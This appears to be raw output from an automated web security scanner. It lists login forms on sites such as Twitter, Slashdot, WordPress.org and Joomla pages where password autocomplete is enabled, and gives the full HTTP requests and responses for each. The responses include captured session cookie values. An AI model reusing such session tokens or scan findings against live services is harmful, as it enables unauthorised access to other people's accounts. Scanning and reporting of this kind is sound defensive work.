HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:47:59 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 33e27d3d0725f34a77c307be63476b5b=4f8b70569285b3c4a1fb98ed7e94a635; path=/ Set-Cookie: currentURI=http%3A%2F%2Fpeople.joomla.org%2Fgroups%2Fviewdiscussion%2F996-Joomla%C2%AE+16+Has+Arrived.html; expires=Tue, 25-Jan-2011 22:47:59 GMT; path=/ Last-Modified: Mon, 24 Jan 2011 22:48:00 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 25943
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > < ...[SNIP]... <div class="highslide-body">
The page contains a form with the following action URL:
http://resources.joomla.org/index.php
The form contains the following password field with autocomplete enabled:
passwd
Request
GET / HTTP/1.1 Host: resources.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:02:10 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 041c772b92563f566daacce0f3f536ce=73c091fa2712ba7bf2c2185c73695000; path=/ Last-Modified: Mon, 24 Jan 2011 16:02:10 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 31144
The page contains a form with the following action URL:
http://resources.joomla.org/directory.html
The form contains the following password field with autocomplete enabled:
passwd
Request
GET /directory/advsearch.html HTTP/1.1 Host: resources.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:02:10 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 041c772b92563f566daacce0f3f536ce=089d7ea1d8ba80fb168608272f1090c1; path=/ Last-Modified: Mon, 24 Jan 2011 16:02:10 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 36788
The page contains a form with the following action URL:
http://resources.joomla.org/directory.html
The form contains the following password field with autocomplete enabled:
passwd
Request
GET /directory/new.html HTTP/1.1 Host: resources.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:02:10 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 041c772b92563f566daacce0f3f536ce=0b0ec261643fa10923bfbfaa489de5ba; path=/ Last-Modified: Mon, 24 Jan 2011 16:02:10 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 44965
The form contains the following password field with autocomplete enabled:
passwd
Request
GET /how-to-add-listings.html HTTP/1.1 Host: resources.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:02:10 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 041c772b92563f566daacce0f3f536ce=d7fb4f14f3981668855c2cc50303ff38; path=/ Last-Modified: Mon, 24 Jan 2011 16:02:11 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 24085
The page contains a form with the following action URL:
http://slashdot.org/login.pl
The form contains the following password field with autocomplete enabled:
upasswd
Request
GET /bookmark.pl?url={u}&title={t} HTTP/1.1 Host: slashdot.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache/1.3.42 (Unix) mod_perl/1.31 X-Powered-By: Slash 2.005001305 X-Leela: You did the best you could, I guess, and some of these gorillas are okay. X-XRDS-Location: http://slashdot.org/slashdot.xrds Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=iso-8859-1 Content-Length: 23844 Date: Tue, 25 Jan 2011 13:16:10 GMT X-Varnish: 2121089048 Age: 0 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <script id="before-content" type="text/javascript"> var pageload = { pagemark: '12 ...[SNIP]... <div id="loginform"> <form action="//slashdot.org/login.pl" method="post"> <fieldset> ...[SNIP]... <input type="hidden" name="op" value="userlogin"> <input type="password" name="upasswd" size="20"> <label class="checkbox"> ...[SNIP]...
The page contains a form with the following action URL:
http://slashdot.org/login.pl
The form contains the following password field with autocomplete enabled:
upasswd
Request
GET /bookmark.pl?url={u}&title={t} HTTP/1.1 Host: slashdot.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache/1.3.42 (Unix) mod_perl/1.31 X-Powered-By: Slash 2.005001305 X-Leela: You did the best you could, I guess, and some of these gorillas are okay. X-XRDS-Location: http://slashdot.org/slashdot.xrds Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=iso-8859-1 Content-Length: 23844 Date: Tue, 25 Jan 2011 13:16:10 GMT X-Varnish: 2121089048 Age: 0 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <script id="before-content" type="text/javascript"> var pageload = { pagemark: '12 ...[SNIP]... <div id="login_box_content"> <form action="//slashdot.org/login.pl" method="post"> <fieldset> ...[SNIP]... <input type="hidden" name="op" value="userlogin"> <input type="password" name="upasswd" size="20"> <label class="checkbox"> ...[SNIP]...
The page contains a form with the following action URL:
http://spongecell.com/promote/website/login
The form contains the following password field with autocomplete enabled:
login[password]
Request
GET /event_list HTTP/1.1 Host: spongecell.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.6.35 Date: Tue, 25 Jan 2011 13:18:18 GMT Content-Type: text/html; charset=utf-8 Connection: close Vary: Accept-Encoding Set-Cookie: _spongecell_loves_u=BAh7BzoLbG9jYWxlIgplbi1VUyIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxl%250Acjo6Rmxhc2g6OkZsYXNoSGFzaHsGOglub3RlMAY6CkB1c2VkewY7B1Q%253D--e6fed647287bcbc29d3b6b3a07b450dde7852c96; domain=.spongecell.com; path=/ Status: 200 OK Cache-Control: no-cache Content-Length: 10097
The page contains a form with the following action URL:
http://themehybrid.com/blog/wp-login.php
The form contains the following password field with autocomplete enabled:
pwd
Request
GET / HTTP/1.1 Host: themehybrid.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=87023965.1295921862.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/53; PHPSESSID=a6bd0f3ad3b5196fc368b021463f882d; __utma=87023965.1580775653.1295921862.1295921862.1295921862.1; __utmc=87023965; __utmb=87023965.2.10.1295921862;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 13:20:45 GMT Server: Apache/2.0.54 X-Powered-By: PHP/5.2.14 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache X-Pingback: http://themehybrid.com/blog/xmlrpc.php Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 10979
The page contains a form with the following action URL:
http://themehybrid.com/blog/wp-login.php
The form contains the following password field with autocomplete enabled:
pwd
Request
GET /themes/shadow HTTP/1.1 Host: themehybrid.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The page contains a form with the following action URL:
https://twitter.com/sessions
The form contains the following password field with autocomplete enabled:
session[password]
Request
GET /7News/ HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Mon, 24 Jan 2011 23:06:35 GMT Server: hi Status: 200 OK X-Transaction: 1295910395-49850-63408 ETag: "85cdef8719ba6d07512d0d99ffbc30f1" Last-Modified: Mon, 24 Jan 2011 23:06:35 GMT X-Runtime: 0.00972 Content-Type: text/html; charset=utf-8 Content-Length: 54324 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1295910394925908; path=/; expires=Mon, 31-Jan-11 23:06:34 GMT; domain=.twitter.com Set-Cookie: guest_id=129591039585816877; path=/; expires=Wed, 23 Feb 2011 23:06:35 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJTViNzE3ZDJlNTczNWZjYjFiMDVhOWI5NmFjYTJjOWM2Igpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsI1F9Hui0B--57a878bd8dcd4b502ec0bff069b12b796c637c54; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
The page contains a form with the following action URL:
https://twitter.com/sessions
The form contains the following password field with autocomplete enabled:
session[password]
Request
GET /7News/newsteam HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Mon, 24 Jan 2011 23:05:49 GMT Server: hi Status: 200 OK X-Transaction: 1295910349-62168-50610 ETag: "da817aed8ad2f932b9830e8a84480989" Last-Modified: Mon, 24 Jan 2011 23:05:49 GMT X-Runtime: 0.57960 Content-Type: text/html; charset=utf-8 Content-Length: 57201 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1295910347880108; path=/; expires=Mon, 31-Jan-11 23:05:47 GMT; domain=.twitter.com Set-Cookie: guest_id=129591034914123817; path=/; expires=Wed, 23 Feb 2011 23:05:49 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoMY3NyZl9pZCIlN2Q0ZTFiOTJmMGY0NmRjMTgyZTZkMjQ3ZTFlMjE1%250ANTk6DnJldHVybl90byImaHR0cDovL3R3aXR0ZXIuY29tLzdOZXdzL25ld3N0%250AZWFtOgdpZCIlZDI1NjgyOTUxYTU1YzRjZDc1MzNiNTE3NWVjOTllMGUiCmZs%250AYXNoSUM6J0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6%250ACkB1c2VkewA6D2NyZWF0ZWRfYXRsKwhXqUa6LQE%253D--b059b0e115ff03027e8577c5a6c0808a3211765e; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
The page contains a form with the following action URL:
https://twitter.com/sessions
The form contains the following password field with autocomplete enabled:
session[password]
Request
GET /LizPW/ HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Mon, 24 Jan 2011 23:10:21 GMT Server: hi Status: 200 OK X-Transaction: 1295910621-77895-31155 ETag: "c259f1b8d242bd50582934993f0c6970" Last-Modified: Mon, 24 Jan 2011 23:10:21 GMT X-Runtime: 0.01511 Content-Type: text/html; charset=utf-8 Content-Length: 51420 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1295910621396653; path=/; expires=Mon, 31-Jan-11 23:10:21 GMT; domain=.twitter.com Set-Cookie: guest_id=129591062196529909; path=/; expires=Wed, 23 Feb 2011 23:10:21 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJWRlMWQ2NzdlN2Y2ZTU0NGM4ZWEyNTMyMWY1ZTk3YzU0Igpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsID9NKui0B--e7abc610de60e62983759c4d12e8f2cf3eede5ed; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
The page contains a form with the following action URL:
https://twitter.com/sessions
The form contains the following password field with autocomplete enabled:
session[password]
Request
GET /datasift HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 25 Jan 2011 14:01:50 GMT Server: hi Status: 200 OK X-Transaction: 1295964110-52502-21616 ETag: "98dfab6f65418ae81b99a43c3a15ba6b" Last-Modified: Tue, 25 Jan 2011 14:01:50 GMT X-Runtime: 0.41713 Content-Type: text/html; charset=utf-8 Content-Length: 46413 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1295964108154865; path=/; expires=Tue, 01-Feb-11 14:01:48 GMT; domain=.twitter.com Set-Cookie: guest_id=129596411037165831; path=/; expires=Thu, 24 Feb 2011 14:01:50 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoMY3NyZl9pZCIlNWEwYzM3OTNmYjE1ZjAwZDgyZTA4NTA1Y2ZiMGJh%250AZDU6DnJldHVybl90byIgaHR0cDovL3R3aXR0ZXIuY29tL2RhdGFzaWZ0Ogdp%250AZCIlNTM1ZTA1NTY3NDFkOGQ5Zjk2ZGQ2NjkwMWQ2NTA1NTciCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2Vk%250AewA6D2NyZWF0ZWRfYXRsKwgl%252Fnq9LQE%253D--53648523a8885e6e9f30528d0faecbf003a6ff95; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
The page contains a form with the following action URL:
https://twitter.com/sessions
The form contains the following password field with autocomplete enabled:
session[password]
Request
GET /joomla HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Mon, 24 Jan 2011 16:02:38 GMT Server: hi Status: 200 OK X-Transaction: 1295884958-68881-31789 ETag: "ae3f2c47aa619b0820a141db6a6acfae" Last-Modified: Mon, 24 Jan 2011 16:02:38 GMT X-Runtime: 0.01322 Content-Type: text/html; charset=utf-8 Content-Length: 53726 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1295884958395114; path=/; expires=Mon, 31-Jan-11 16:02:38 GMT; domain=.twitter.com Set-Cookie: guest_id=129588495844059611; path=/; expires=Wed, 23 Feb 2011 16:02:38 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoPY3JlYXRlZF9hdGwrCOo6w7gtAToHaWQiJTFmN2YyYzU0MmRhYmY4%250AZWYyNDc4ZWFmY2M4MmYwNjIwIgpmbGFzaElDOidBY3Rpb25Db250cm9sbGVy%250AOjpGbGFzaDo6Rmxhc2hIYXNoewAGOgpAdXNlZHsA--724d5a6fe81e3fe03c41751c53520bd5bc139e61; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
The page contains a form with the following action URL:
https://twitter.com/sessions
The form contains the following password field with autocomplete enabled:
session[password]
Request
GET /kontentdesign HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 25 Jan 2011 14:02:07 GMT Server: hi Status: 200 OK X-Transaction: 1295964127-50745-17441 ETag: "63815a5d05a1b95386102d34a0650082" Last-Modified: Tue, 25 Jan 2011 14:02:07 GMT X-Runtime: 0.01446 Content-Type: text/html; charset=utf-8 Content-Length: 52448 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1295964125413234; path=/; expires=Tue, 01-Feb-11 14:02:05 GMT; domain=.twitter.com Set-Cookie: guest_id=129596412736246980; path=/; expires=Thu, 24 Feb 2011 14:02:07 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJTcyODA1NmExZmQ1MDE5ZTUzYjYyYjQ0NjQzMDVjYjkxIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsIhEB7vS0B--951e0307ecaa4357ec02a6a302e57cf685286962; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
The page contains a form with the following action URL:
https://twitter.com/sessions
The form contains the following password field with autocomplete enabled:
session[password]
Request
GET /nbc/primetime HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Mon, 24 Jan 2011 23:06:59 GMT Server: hi Status: 200 OK X-Transaction: 1295910418-13129-32425 ETag: "a5a44db8a71fab6b9f2580b61e51bac4" Last-Modified: Mon, 24 Jan 2011 23:06:58 GMT X-Runtime: 0.49830 Content-Type: text/html; charset=utf-8 Content-Length: 57012 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1295910418725856; path=/; expires=Mon, 31-Jan-11 23:06:58 GMT; domain=.twitter.com Set-Cookie: guest_id=129591041889118308; path=/; expires=Wed, 23 Feb 2011 23:06:58 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoMY3NyZl9pZCIlYWNhY2QyMDk5NWYxMWM2MjRjNGQ0NDdhYTA1ZTQ3%250AYzA6DnJldHVybl90byIlaHR0cDovL3R3aXR0ZXIuY29tL25iYy9wcmltZXRp%250AbWU6B2lkIiU0NDZjYzZhOTY2NmJmZTZlZjQ3OGQ5ZGIyYmQxYzRiMCIKZmxh%250Ac2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoK%250AQHVzZWR7ADoPY3JlYXRlZF9hdGwrCM25R7otAQ%253D%253D--d1e94695604015df0d84f87d3e421b29e16e392e; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
The page contains a form with the following action URL:
https://twitter.com/sessions
The form contains the following password field with autocomplete enabled:
session[password]
Request
GET /netlingo HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 25 Jan 2011 14:02:03 GMT Server: hi Status: 200 OK X-Transaction: 1295964123-67769-3429 ETag: "8ed7c55c146db619fdf925948244e6a4" Last-Modified: Tue, 25 Jan 2011 14:02:03 GMT X-Runtime: 0.57870 Content-Type: text/html; charset=utf-8 Content-Length: 48756 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1295964121273602; path=/; expires=Tue, 01-Feb-11 14:02:01 GMT; domain=.twitter.com Set-Cookie: guest_id=129596412316680845; path=/; expires=Thu, 24 Feb 2011 14:02:03 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoMY3NyZl9pZCIlNGZlYmY1Yjc5NTA0ZjkwYmIwMWI5OGEyZDMyZTM1%250AYjk6DnJldHVybl90byIgaHR0cDovL3R3aXR0ZXIuY29tL25ldGxpbmdvOgdp%250AZCIlNDAzOGVkNGRhYjIyMmJkOGY3ZGY1YjQzNjEzOWM1MDciCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2Vk%250AewA6D2NyZWF0ZWRfYXRsKwgfMHu9LQE%253D--a495d11ca78d3b4eafce746e4006ed9d057939a8; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
The page contains a form with the following action URL:
https://twitter.com/sessions
The form contains the following password field with autocomplete enabled:
session[password]
Request
GET /spies_assassins HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 25 Jan 2011 14:01:07 GMT Server: hi Status: 200 OK X-Transaction: 1295964066-9198-19132 ETag: "d25862c279dba6cd1e553cac20d22d67" Last-Modified: Tue, 25 Jan 2011 14:01:06 GMT X-Runtime: 0.81721 Content-Type: text/html; charset=utf-8 Content-Length: 53400 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1295964064205570; path=/; expires=Tue, 01-Feb-11 14:01:04 GMT; domain=.twitter.com Set-Cookie: guest_id=129596406668777691; path=/; expires=Thu, 24 Feb 2011 14:01:06 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoMY3NyZl9pZCIlOTFhMjVhMGYxN2MzNTI1ZTQ5ZmUzZjczMmNkZjE3%250AMjc6DnJldHVybl90byInaHR0cDovL3R3aXR0ZXIuY29tL3NwaWVzX2Fzc2Fz%250Ac2luczoHaWQiJTYzMTVlMzExN2JlZWI3ZTk3NzRhNmY4YzVlZGMxZGFhIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsIgVN6vS0B--19cfe0462f0d48cd362b4b7b652a3c4766f21675; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
The page contains a form with the following action URL:
https://twitter.com/sessions
The form contains the following password field with autocomplete enabled:
session[password]
Request
GET /tweetmeme HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 25 Jan 2011 14:01:06 GMT Server: hi Status: 200 OK X-Transaction: 1295964066-9478-51270 ETag: "7b585adb867e3eb6f32095f5c2866375" Last-Modified: Tue, 25 Jan 2011 14:01:06 GMT X-Runtime: 0.01836 Content-Type: text/html; charset=utf-8 Content-Length: 53983 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1295964064200831; path=/; expires=Tue, 01-Feb-11 14:01:04 GMT; domain=.twitter.com Set-Cookie: guest_id=129596406693798147; path=/; expires=Thu, 24 Feb 2011 14:01:06 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJTJkNDc2OWNmNTUxYTAyZGE3OGM1MDcyNjFlYTA4NWNjIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsIfFR6vS0B--e1050b38818ecc596cfa97ed5bb62afd0749dcd8; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
The page contains a form with the following action URL:
https://twitter.com/sessions
The form contains the following password field with autocomplete enabled:
session[password]
Request
GET /typekit HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 25 Jan 2011 14:02:12 GMT Server: hi Status: 200 OK X-Transaction: 1295964132-61803-46798 ETag: "2d1d82c342cf698a8f46318662e78b68" Last-Modified: Tue, 25 Jan 2011 14:02:12 GMT X-Runtime: 0.01489 Content-Type: text/html; charset=utf-8 Content-Length: 43545 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1295964130260966; path=/; expires=Tue, 01-Feb-11 14:02:10 GMT; domain=.twitter.com Set-Cookie: guest_id=129596413223631444; path=/; expires=Thu, 24 Feb 2011 14:02:12 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJWZmZDVhODg4ZjIyMmRmMGIwMmY4ZGM3MmFlYTJhNDMxIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsIjlN7vS0B--f40f6aa2142d312dbf0ca41283ed8a96a762a0ed; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
The form contains the following password field with autocomplete enabled:
passwd
Request
GET /index.php/joomla/1-joomla-16-je-tu HTTP/1.1 Host: venedet.michnica.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:02:41 GMT Server: Apache Vary: Host,Accept-Encoding Set-Cookie: fa5a1b42d3949309610b52593e36fa6f=1841b8d77a50e80e7a37fed80c5175b4; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 17676
The page contains a form with the following action URL:
http://wordpress.org/extend/plugins/bb-login.php
The form contains the following password field with autocomplete enabled:
password
Request
GET /extend/plugins/tweetmeme-follow-button/ HTTP/1.1 Host: wordpress.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx Date: Tue, 25 Jan 2011 14:03:12 GMT Content-Type: text/html; charset=utf-8 Connection: close Vary: Accept-Encoding Content-Length: 20241
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US"><head profil ...[SNIP]... </h2>
The page contains a form with the following action URL:
